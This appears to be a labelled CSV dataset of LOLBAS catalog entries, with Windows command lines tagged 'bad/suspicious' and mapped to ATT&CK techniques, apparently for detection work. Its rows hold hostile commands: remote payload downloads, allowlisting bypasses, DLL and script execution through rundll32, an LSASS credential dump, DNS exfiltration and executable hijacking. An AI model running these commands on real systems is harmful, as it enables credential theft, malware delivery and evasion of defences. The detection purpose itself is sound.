de09bbd550b3e64ed629d158,procdump.exe -md {PATH:.dll} foobar,procdump.exe -md {PATH:.dll} foobar,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Procdump.yml,Procdump.exe,Execute,"[""T1202"", {""Execute"": ""DLL""}]","Windows 8.1 and higher, Windows Server 2012 and higher",0.85,False,"Loads the specified DLL where configured with DLL_PROCESS_ATTACH execution, process argument can be arbitrary.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
eef1e10a76690129cfef16a4,wfc.exe {PATH_ABSOLUTE:.xoml},wfc.exe {PATH_ABSOLUTE:.xoml},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Wfc.yml,Wfc.exe,AWL Bypass,"[""T1127"", {""Execute"": ""XOML""}]",Windows 10 2004 (likely previous and newer versions as well),0.85,False,Execute arbitrary C# code embedded in a XOML file.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
716d43b303d8d12b3af768ea,ProtocolHandler.exe {REMOTEURL},ProtocolHandler.exe {REMOTEURL},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/ProtocolHandler.yml,ProtocolHandler.exe,Download,"[""T1105""]","Windows 10, Windows 11",0.85,False,Downloads payload from remote server,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3b44c07995a6e7ac6966a77a,fsi.exe {PATH:.fsscript},fsi.exe {PATH:.fsscript},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Fsi.yml,Fsi.exe,AWL Bypass,"[""T1059"", {""Execute"": ""FSharp""}]",Windows 10 2004 (likely previous and newer versions as well),0.85,False,Execute F# code via script file,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5bb37fc2ab1bcdcd268ad542,fsi.exe,fsi.exe,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Fsi.yml,Fsi.exe,AWL Bypass,"[""T1059"", {""Execute"": ""FSharp""}]",Windows 10 2004 (likely previous and newer versions as well),0.85,False,Execute F# code via interactive command line,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5d6c370d94092bb127a80e15,Sqlps.exe -noprofile,Sqlps.exe -noprofile,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Sqlps.yml,Sqlps.exe,Execute,"[""T1218"", {""Execute"": ""PowerShell""}]",Windows,0.85,False,Run a SQL Server PowerShell mini-console without Module and ScriptBlock Logging.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3e2822ceb9b3dd958fc4d48c,dotnet.exe {PATH:.dll},dotnet.exe {PATH:.dll},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Dotnet.yml,Dotnet.exe,AWL Bypass,"[""T1218"", {""Execute"": ""DLL (.NET)""}]",Windows 7 and up with .NET installed,0.85,False,dotnet.exe will execute any DLL even if applocker is enabled.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ff0bc657b3a2c2edf48602f3,dotnet.exe fsi,dotnet.exe fsi,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Dotnet.yml,Dotnet.exe,Execute,"[""T1059"", {""Execute"": ""FSharp""}]",Windows 10 and up with .NET SDK installed,0.85,False,dotnet.exe will open a console which allows for the execution of arbitrary F# commands,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
61c5c583a814653dd9f64a64,dotnet.exe msbuild {PATH:.csproj},dotnet.exe msbuild {PATH:.csproj},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Dotnet.yml,Dotnet.exe,AWL Bypass,"[""T1218"", {""Execute"": ""CSharp""}]",Windows 10 and up with .NET Core installed,0.85,False,dotnet.exe with msbuild (SDK Version) will execute unsigned code,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ffc4b625d6acc20305bb4039,ECMangen.exe {REMOTEURL},ECMangen.exe {REMOTEURL},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/ECMangen.yml,ECMangen.exe,Download,"[""T1105"", {""Download"": ""INetCache""}]",Windows,0.85,False,Downloads payload from remote server,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
67f21e477578b244aa7caa16,winword.exe {REMOTEURL},winword.exe {REMOTEURL},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Winword.yml,Winword.exe,Download,"[""T1105"", {""Download"": ""INetCache""}]",Windows,0.85,False,Downloads payload from remote server,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0a4b98f4eb96258d28479abf,te.exe {PATH:.wsc},te.exe {PATH:.wsc},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Te.yml,te.exe,Execute,"[""T1127"", {""Execute"": ""WSH""}]",Windows,0.85,False,Run COM Scriptlets (e.g. VBScript) by calling a Windows Script Component (WSC) file.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f7792abaabf0a9507f1c66b7,te.exe {PATH:.dll},te.exe {PATH:.dll},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Te.yml,te.exe,Execute,"[""T1127"", {""Execute"": ""DLL""}, {""Input"": ""Custom Format""}]",Windows,0.85,False,Execute commands from a DLL file with Test Authoring and Execution Framework (TAEF) tests. See resources section for required structures.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8be50f17219b3c0796a7f082,AppLauncher.exe {PATH_ABSOLUTE:.exe},AppLauncher.exe {PATH_ABSOLUTE:.exe},bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/AppLauncher.yml,AppLauncher.exe,Execute,"[""T1127"", {""Execute"": ""EXE""}]",Windows,0.85,False,Launches an executable via User Experience Virtualization tool.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
75cd63b6ff862b1dcb843a4a,TestWindowRemoteAgent.exe start -h {your-base64-data}.example.com -p 8000,TestWindowRemoteAgent.exe start -h {your-base64-data}.example.com -p 8000,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OtherMSBinaries/Testwindowremoteagent.yml,TestWindowRemoteAgent.exe,Upload,"[""T1048""]","Windows 10, Windows 11",0.85,False,"Sends DNS query for open connection to any host, enabling exfiltration over DNS",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
271865ded2c7fb7ba0742607,"rundll32.exe ""C:\Program Files\Windows Photo Viewer\PhotoViewer.dll"",ImageView_Fullscreen {REMOTEURL}","rundll32.exe ""C:\Program Files\Windows Photo Viewer\PhotoViewer.dll"",ImageView_Fullscreen {REMOTEURL}",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSLibraries/PhotoViewer.yml,PhotoViewer.dll,Download,"[""T1105"", {""Download"": ""INetCache""}]","Windows 10, Windows 11",0.85,False,"Once executed, rundll32.exe will download the file at the specified URL to the user's INetCache folder using the Windows Photo Viewer DLL.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
78e7505351dea8fe4863e85e,"rundll32.exe shell32.dll,Control_RunDLL {PATH_ABSOLUTE:.dll}","rundll32.exe shell32.dll,Control_RunDLL {PATH_ABSOLUTE:.dll}",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSLibraries/Shell32.yml,Shell32.dll,Execute,"[""T1218.011"", {""Execute"": ""DLL""}]","Windows 10, Windows 11",0.85,False,Launch a DLL payload by calling the Control_RunDLL function.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
039213864b4229e19297a1ae,"rundll32.exe shell32.dll,ShellExec_RunDLL {PATH:.exe}","rundll32.exe shell32.dll,ShellExec_RunDLL {PATH:.exe}",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSLibraries/Shell32.yml,Shell32.dll,Execute,"[""T1218.011"", {""Execute"": ""EXE""}]","Windows 10, Windows 11",0.85,False,Launch an executable by calling the ShellExec_RunDLL function.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e4b38422aa11875c55e6d18b,"rundll32 SHELL32.DLL,ShellExec_RunDLL {PATH:.exe} {CMD:args}","rundll32 SHELL32.DLL,ShellExec_RunDLL {PATH:.exe} {CMD:args}",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSLibraries/Shell32.yml,Shell32.dll,Execute,"[""T1218.011"", {""Execute"": ""CMD""}]","Windows 10, Windows 11",0.85,False,Launch command line by calling the ShellExec_RunDLL function.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d1250089eb8cdc29dd6fa7da,"rundll32.exe shell32.dll,#44 {PATH:.dll}","rundll32.exe shell32.dll,#44 {PATH:.dll}",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSLibraries/Shell32.yml,Shell32.dll,Execute,"[""T1218.011"", {""Execute"": ""DLL""}]","Windows 10, Windows 11",0.85,False,Load a DLL/CPL by calling undocumented Control_RunDLLNoFallback function.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
07830052b0052ef424d89a9d,"rundll32.exe url.dll,OpenURL {PATH_ABSOLUTE:.hta}","rundll32.exe url.dll,OpenURL {PATH_ABSOLUTE:.hta}",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSLibraries/Url.yml,Url.dll,Execute,"[""T1218.011"", {""Execute"": ""HTA""}]","Windows 10, Windows 11",0.85,False,Launch a HTML application payload by calling OpenURL.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3d6075c086b5c845d0cb1965,"rundll32.exe url.dll,OpenURL {PATH_ABSOLUTE:.url}","rundll32.exe url.dll,OpenURL {PATH_ABSOLUTE:.url}",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSLibraries/Url.yml,Url.dll,Execute,"[""T1218.011"", {""Execute"": ""URL""}]","Windows 10, Windows 11",0.85,False,Launch an executable payload via proxy through a .url (information) file by calling OpenURL.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6620fad0b2912f5051e0842e,"rundll32.exe url.dll,OpenURL file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e","rundll32.exe url.dll,OpenURL file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSLibraries/Url.yml,Url.dll,Execute,"[""T1218.011"", {""Execute"": ""EXE""}]","Windows 10, Windows 11",0.85,False,Launch an executable by calling OpenURL.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
24e3d6e940585ef8ee950ebc,"rundll32.exe url.dll,FileProtocolHandler {PATH_ABSOLUTE:.exe}","rundll32.exe url.dll,FileProtocolHandler {PATH_ABSOLUTE:.exe}",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSLibraries/Url.yml,Url.dll,Execute,"[""T1218.011"", {""Execute"": ""EXE""}]","Windows 10, Windows 11",0.85,False,Launch an executable by calling FileProtocolHandler.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c58bb89123aad41bb488f1a1,"rundll32.exe url.dll,FileProtocolHandler file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e","rundll32.exe url.dll,FileProtocolHandler file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSLibraries/Url.yml,Url.dll,Execute,"[""T1218.011"", {""Execute"": ""EXE""}]","Windows 10, Windows 11",0.85,False,Launch an executable by calling FileProtocolHandler.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d3ecd4361fb3ca737bf3d8fa,"rundll32.exe url.dll,FileProtocolHandler file:///C:/test/test.hta","rundll32.exe url.dll,FileProtocolHandler file:///C:/test/test.hta",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSLibraries/Url.yml,Url.dll,Execute,"[""T1218.011"", {""Execute"": ""HTA""}]","Windows 10, Windows 11",0.85,False,Launch a HTML application payload by calling FileProtocolHandler.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
62a48f386b91567d5340532f,"rundll32.exe shdocvw.dll,OpenURL {PATH_ABSOLUTE:.url}","rundll32.exe shdocvw.dll,OpenURL {PATH_ABSOLUTE:.url}",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSLibraries/Shdocvw.yml,Shdocvw.dll,Execute,"[""T1218.011"", {""Execute"": ""URL""}]","Windows 10, Windows 11",0.85,False,Launch an executable payload via proxy through a URL (information) file by calling OpenURL.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0edd22bebbe541f91e958596,"rundll32.exe c:\Windows\System32\shimgvw.dll,ImageView_Fullscreen {REMOTEURL:.exe}","rundll32.exe c:\Windows\System32\shimgvw.dll,ImageView_Fullscreen {REMOTEURL:.exe}",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSLibraries/Shimgvw.yml,Shimgvw.dll,Download,"[""T1105"", {""Download"": ""INetCache""}]","Windows 10, Windows 11",0.85,False,"Once executed, rundll32.exe will download the file at the URL in the command to INetCache. Can also be used with entrypoint 'ImageView_FullscreenA'.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
53a25f9292f4f599b313e29c,"rundll32.exe C:\Windows\System32\scrobj.dll,GenerateTypeLib {REMOTEURL:.exe}","rundll32.exe C:\Windows\System32\scrobj.dll,GenerateTypeLib {REMOTEURL:.exe}",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSLibraries/Scrobj.yml,Scrobj.dll,Download,"[""T1105"", {""Download"": ""INetCache""}]","Windows 10, Windows 11",0.85,False,"Once executed, scrobj.dll attempts to load a file from the URL and saves it to INetCache.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c91e564af85e3a430bc7b613,"rundll32.exe pcwutl.dll,LaunchApplication {PATH:.exe}","rundll32.exe pcwutl.dll,LaunchApplication {PATH:.exe}",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSLibraries/Pcwutl.yml,Pcwutl.dll,Execute,"[""T1218.011"", {""Execute"": ""EXE""}]","Windows 10, Windows 11",0.85,False,Launch executable by calling the LaunchApplication function.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0b4c0fa4a4b0fb2027265195,"rundll32.exe ieframe.dll,OpenURL {PATH_ABSOLUTE:.url}","rundll32.exe ieframe.dll,OpenURL {PATH_ABSOLUTE:.url}",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSLibraries/Ieframe.yml,Ieframe.dll,Execute,"[""T1218.011"", {""Execute"": ""URL""}]","Windows 10, Windows 11",0.85,False,Launch an executable payload via proxy through a(n) URL (information) file by calling OpenURL.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1207d9d878cd481a9f17b705,"rundll32 syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 {PATH_ABSOLUTE:.inf}","rundll32 syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 {PATH_ABSOLUTE:.inf}",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSLibraries/Syssetup.yml,Syssetup.dll,AWL Bypass,"[""T1218.011"", {""Execute"": ""INF""}]","Windows 10, Windows 11",0.85,False,Execute the specified (local or remote) .wsh/.sct script with scrobj.dll in the .inf file by calling an information file directive (section name specified).,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3b89b7abde8cfc1131370222,rundll32 C:\windows\system32\comsvcs.dll MiniDump {LSASS_PID} dump.bin full,rundll32 C:\windows\system32\comsvcs.dll MiniDump {LSASS_PID} dump.bin full,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSLibraries/comsvcs.yml,Comsvcs.dll,Dump,"[""T1003.001""]","Windows 10, Windows 11",0.85,False,"Calls the MiniDump exported function of comsvcs.dll, which in turns calls MiniDumpWriteDump.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
385cdffd0852e74a5867042e,"rundll32.exe advpack.dll,LaunchINFSection {PATH:.inf},DefaultInstall_SingleUser,1,","rundll32.exe advpack.dll,LaunchINFSection {PATH:.inf},DefaultInstall_SingleUser,1,",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSLibraries/Advpack.yml,Advpack.dll,AWL Bypass,"[""T1218.011"", {""Execute"": ""INF""}]","Windows 10, Windows 11",0.85,False,Execute the specified (local or remote) .wsh/.sct script with scrobj.dll in the .inf file by calling an information file directive (section name specified).,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7dcb8d74f018ec9b704a54a7,"rundll32.exe advpack.dll,LaunchINFSection {PATH:.inf},,1,","rundll32.exe advpack.dll,LaunchINFSection {PATH:.inf},,1,",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSLibraries/Advpack.yml,Advpack.dll,AWL Bypass,"[""T1218.011"", {""Execute"": ""INF""}]","Windows 10, Windows 11",0.85,False,Execute the specified (local or remote) .wsh/.sct script with scrobj.dll in the .inf file by calling an information file directive (DefaultInstall section implied).,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3c722ff3d170901589f7122c,"rundll32.exe advpack.dll,RegisterOCX {PATH:.dll}","rundll32.exe advpack.dll,RegisterOCX {PATH:.dll}",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSLibraries/Advpack.yml,Advpack.dll,Execute,"[""T1218.011"", {""Execute"": ""DLL""}]","Windows 10, Windows 11",0.85,False,Launch a DLL payload by calling the RegisterOCX function.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d6a27fc66d1c1d1224fb521e,"rundll32.exe advpack.dll,RegisterOCX {PATH:.exe}","rundll32.exe advpack.dll,RegisterOCX {PATH:.exe}",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSLibraries/Advpack.yml,Advpack.dll,Execute,"[""T1218.011"", {""Execute"": ""EXE""}]","Windows 10, Windows 11",0.85,False,Launch an executable by calling the RegisterOCX function.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
48baca443d2222ee63bbddb1,"rundll32 advpack.dll, RegisterOCX {CMD}","rundll32 advpack.dll, RegisterOCX {CMD}",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSLibraries/Advpack.yml,Advpack.dll,Execute,"[""T1218.011"", {""Execute"": ""CMD""}]","Windows 10, Windows 11",0.85,False,Launch command line by calling the RegisterOCX function.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7873cd916c90f0a6fb451d0d,"rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 {PATH_ABSOLUTE:.inf}","rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 {PATH_ABSOLUTE:.inf}",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSLibraries/Setupapi.yml,Setupapi.dll,AWL Bypass,"[""T1218.011"", {""Execute"": ""INF""}]","Windows 10, Windows 11",0.85,False,Execute the specified (local or remote) .wsh/.sct script with scrobj.dll in the .inf file by calling an information file directive (section name specified).,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f13a4283d837d96b5338614b,"rundll32.exe zipfldr.dll,RouteTheCall {PATH:.exe}","rundll32.exe zipfldr.dll,RouteTheCall {PATH:.exe}",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSLibraries/Zipfldr.yml,Zipfldr.dll,Execute,"[""T1218.011"", {""Execute"": ""EXE""}]","Windows 10, Windows 11",0.85,False,Launch an executable payload by calling RouteTheCall.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
83df83343bc3b6413a1547fa,"rundll32.exe zipfldr.dll,RouteTheCall file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e","rundll32.exe zipfldr.dll,RouteTheCall file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSLibraries/Zipfldr.yml,Zipfldr.dll,Execute,"[""T1218.011"", {""Execute"": ""EXE""}]","Windows 10, Windows 11",0.85,False,Launch an executable payload by calling RouteTheCall (obfuscated).,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
88ca9dabffdee40d2ef64420,"rundll32.exe Mshtml.dll,PrintHTML {PATH_ABSOLUTE:.hta}","rundll32.exe Mshtml.dll,PrintHTML {PATH_ABSOLUTE:.hta}",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSLibraries/Mshtml.yml,Mshtml.dll,Execute,"[""T1218.011"", {""Execute"": ""HTA""}]","Windows 10, Windows 11",0.85,False,Invoke an HTML Application via mshta.exe (note: pops a security warning and a print dialogue box).,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fa6d38162f1561596a4c3c1d,"rundll32.exe ieadvpack.dll,LaunchINFSection {PATH_ABSOLUTE:.inf},DefaultInstall_SingleUser,1,","rundll32.exe ieadvpack.dll,LaunchINFSection {PATH_ABSOLUTE:.inf},DefaultInstall_SingleUser,1,",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSLibraries/Ieadvpack.yml,Ieadvpack.dll,AWL Bypass,"[""T1218.011"", {""Execute"": ""INF""}]","Windows 10, Windows 11",0.85,False,Execute the specified (local or remote) .wsh/.sct script with scrobj.dll in the .inf file by calling an information file directive (section name specified).,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
495304936f80abca1b9855eb,"rundll32.exe ieadvpack.dll,LaunchINFSection {PATH_ABSOLUTE:.inf},,1,","rundll32.exe ieadvpack.dll,LaunchINFSection {PATH_ABSOLUTE:.inf},,1,",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSLibraries/Ieadvpack.yml,Ieadvpack.dll,AWL Bypass,"[""T1218.011"", {""Execute"": ""INF""}]","Windows 10, Windows 11",0.85,False,Execute the specified (local or remote) .wsh/.sct script with scrobj.dll in the .inf file by calling an information file directive (DefaultInstall section implied).,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
59a7916570fd27f995e5dea6,"rundll32.exe ieadvpack.dll,RegisterOCX {PATH:.dll}","rundll32.exe ieadvpack.dll,RegisterOCX {PATH:.dll}",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSLibraries/Ieadvpack.yml,Ieadvpack.dll,Execute,"[""T1218.011"", {""Execute"": ""DLL""}]","Windows 10, Windows 11",0.85,False,Launch a DLL payload by calling the RegisterOCX function.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e4cbdbe1126bea6e820c2690,"rundll32.exe ieadvpack.dll,RegisterOCX {PATH:.exe}","rundll32.exe ieadvpack.dll,RegisterOCX {PATH:.exe}",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSLibraries/Ieadvpack.yml,Ieadvpack.dll,Execute,"[""T1218.011"", {""Execute"": ""EXE""}]","Windows 10, Windows 11",0.85,False,Launch an executable by calling the RegisterOCX function.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
af5ca67fb240938abf08eeb3,"rundll32 ieadvpack.dll, RegisterOCX {CMD}","rundll32 ieadvpack.dll, RegisterOCX {CMD}",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSLibraries/Ieadvpack.yml,Ieadvpack.dll,Execute,"[""T1218.011"", {""Execute"": ""CMD""}]","Windows 10, Windows 11",0.85,False,Launch command line by calling the RegisterOCX function.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bcec3ecdc6c410eb582bffbe,"rundll32.exe desk.cpl,InstallScreenSaver {PATH_ABSOLUTE:.scr}","rundll32.exe desk.cpl,InstallScreenSaver {PATH_ABSOLUTE:.scr}",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSLibraries/Desk.yml,Desk.cpl,Execute,"[""T1218.011"", {""Execute"": ""EXE""}]","Windows 10, Windows 11",0.85,False,Launch an executable with a .scr extension by calling the InstallScreenSaver function.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b40577b9b5d722cb470989c5,"rundll32.exe desk.cpl,InstallScreenSaver {PATH_SMB:.scr}","rundll32.exe desk.cpl,InstallScreenSaver {PATH_SMB:.scr}",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSLibraries/Desk.yml,Desk.cpl,Execute,"[""T1218.011"", {""Execute"": ""EXE""}, {""Execute"": ""Remote""}]","Windows 10, Windows 11",0.85,False,"Launch a remote executable with a .scr extension, located on an SMB share, by calling the InstallScreenSaver function.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
745549c22f6aedf016514479,"rundll32.exe dfshim.dll,ShOpenVerbApplication {REMOTEURL}","rundll32.exe dfshim.dll,ShOpenVerbApplication {REMOTEURL}",bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,yml/OSLibraries/Dfshim.yml,Dfshim.dll,AWL Bypass,"[""T1127.002"", {""Execute"": ""ClickOnce""}, {""Execute"": ""Remote""}]","Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11",0.85,False,"Executes click-once-application from URL (trampoline for Dfsvc.exe, DotNet ClickOnce host)",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6a1bbb211ed2212366de585e,RunCmd_X64 file.cmd /F,RunCmd_X64 file.cmd /F,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,Archive-Old-Version/LOLUtilz/OtherBinaries/RunCmd_X64.yml,RunCmd_X64.exe,Execute,"[""T1218""]","Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10",0.85,False,Launch command file and hide the console window,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cb99baf33f8c0fc25fc8d561,Replace C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe by your binary,Replace C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe by your binary,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,Archive-Old-Version/LOLUtilz/OtherBinaries/AcroRd32.yml,AcroRd32.exe,,"[""""]",,0.85,False,Hijack RdrCEF.exe with a payload executable to launch when opening Adobe,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4a90f5f70f0098d67d25ccee,Replace ROCCAT_Swarm_Monitor.exe with your binary.exe,Replace ROCCAT_Swarm_Monitor.exe with your binary.exe,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,Archive-Old-Version/LOLUtilz/OtherBinaries/ROCCAT_Swarm.yml,ROCCAT_Swarm.exe,,"[""""]",,0.85,False,Hijack ROCCAT_Swarm_Monitor.exe and launch payload when executing ROCCAT_Swarm.exe,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bf9e2ebcdc5392a52339dd05,Run Setup.exe,Run Setup.exe,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,Archive-Old-Version/LOLUtilz/OtherBinaries/Setup.yml,Setup.exe,,"[""""]",,0.85,False,Hijack hpbcsiServiceMarshaller.exe and run Setup.exe to launch a payload.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
73f7b4a3b562e125502ae669,Nvudisp.exe System calc.exe,Nvudisp.exe System calc.exe,bad,bad,plain,suspicious,catalog_example,lolbas,LOLBAS-Project/LOLBAS,Archive-Old-Version/LOLUtilz/OtherBinaries/Nvudisp.yml,Nvudisp.exe,,"[""""]",,0.85,False,Execute calc.exe as a subprocess.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
